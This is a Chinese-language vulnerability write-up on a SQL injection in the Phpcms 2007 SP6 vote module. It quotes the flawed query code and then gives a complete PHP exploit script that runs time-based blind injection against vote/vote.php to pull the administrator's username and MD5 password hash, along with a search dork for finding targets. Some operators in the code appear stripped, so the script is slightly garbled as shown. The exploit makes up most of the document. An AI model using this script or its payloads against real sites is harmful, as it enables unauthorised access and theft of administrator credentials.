漏洞代码：
vote/vote.php
// 22行
$optionids = is_array($op) ? implode(',',$op) : $op;
...
$db->query("UPDATE ".TABLE_VOTE_OPTION." SET number = number 1 WHERE optionid IN ($optionids) ");
漏洞很明显，没什么好说的，其他地方也有类似的问题，有兴趣的同学可以跟下，下面给个poc性质的exp[由于是盲注，效果不是很好]:p
代码:
#!/usr/bin/php
<?php
print_r('
---------------------------------------------------------------------------
Phpcms 2007 SP6 Bind SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by Phpcms 2007"
---------------------------------------------------------------------------
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to phpcms
Example:
php '.$argv[0].' localhost /phpcms/
---------------------------------------------------------------------------
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$benchmark = 100000000;
$timeout = 10;
$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/ryat#';
$resp = send();
preg_match('/([a-z0-9] )_vote_option/', $resp, $pre);
if ($pre) {
echo "Plz Waiting...n";
/**
* get admin password
*/
$j = 1;
$pass = '';
$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 102)); //a-f letters
while (strlen($pass) < 32) {
for ($i = 0; $i <= 255; $i ) {
if (in_array($i, $hash)) {
$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/(IF((ASCII(SUBSTRING((SELECT/**/password/**/FROM/**/'.$pre[1].'_member/**/WHERE/**/groupid=1/**/LIMIT/**/1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$pass .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("nExploit Failed!n");
}
$j ;
}
echo "t";
/**
* get admin username
*/
$j = 1;
$user = '';
while (strstr($user, chr(0)) === false) {
for ($i = 0; i <= 255; $i ) {
$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/(IF((ASCII(SUBSTRING((SELECT/**/username/**/FROM/**/'.$pre[1].'_member/**/WHERE/**/groupid=1/**/LIMIT/**/1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$user .= chr($i);
echo chr($i);
break;
}
if ($i == 255)
exit("nExploit Failed!n");
}
$j ;
}
exit("Expoilt Success!nadmin:t$usernPassword(md5):t$passn");
} else
exit("Exploit Failed!n");
function send()
{
global $host, $path, $cmd;
$message = "POST ".$path."vote/vote.php HTTP/1.1rn";
$message .= "Accept: */*rn";
$message .= "Accept-Language: zh-cnrn";
$message .= "Content-Type: application/x-www-form-urlencodedrn";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";
$message .= "CLIENT-IP: ".time()."rn";
$message .= "Host: $hostrn";
$message .= "Content-Length: ".strlen($cmd)."rn";
$message .= "Connection: Closernrn";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
【PHPCMS2007 SP6 vote模块SQL注射漏洞的分析】相关文章：
★ PHP漏洞全解
★ 新云CMS Online.asp页面过滤不严导致SQL注入漏洞
★ Seagull PHP Framework optimizer.php的泄露漏洞
★ Apache HTTP Server 存在模块跨站脚本漏洞
★ Microsoft SharePoint 服务器源码 HTML 注入漏洞